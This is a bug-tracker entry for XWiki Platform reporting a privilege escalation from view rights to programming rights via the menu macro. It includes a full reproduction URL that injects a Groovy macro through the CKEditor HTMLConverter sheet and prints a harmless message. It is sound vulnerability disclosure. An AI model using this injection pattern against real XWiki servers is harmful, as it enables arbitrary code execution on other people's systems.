Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-19857

Privilege escalation (PR) from view rights through the menu macro

    XMLWordPrintable

Details

    • High
    • Unknown
    • N/A
    • N/A

    Description

      Steps to reproduce:

      Open <server>/xwiki/bin/view/Main?sheet=CKEditor.HTMLConverter&language=en&sourceSyntax=xwiki%2F2.1&stripHTMLEnvelope=true&fromHTML=false&toHTML=true&text=%7B%7Bmenu%7D%7D%7B%7Bcache+id%3D%22menuMacro%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello+from+Groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%7B%7B%2Fmenu%7D%7D where <server> is the URL of your XWiki installation

      Expected result:

      An error that the current user doesn't have programming rights.

      Actual result:

      The text "Hello from Groovy!" is displayed, showing that we've executed a Groovy macro and thus gained programming rights from view rights.

      Note that while the reproduction steps above use the content, the same kind of privilege escalation is also possible using the id and type parameters.

      The affects version is only the version where the problem has been reproduced, this is most likely as old as the menu macro which has been introduced in XWIKI-9148, i.e., XWiki 5.1-rc-1.

      Attachments

        Issue Links

          Activity

            People

              MichaelHamann Michael Hamann
              MichaelHamann Michael Hamann
              Votes:
              0 Vote for this issue
              Watchers:
              1 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: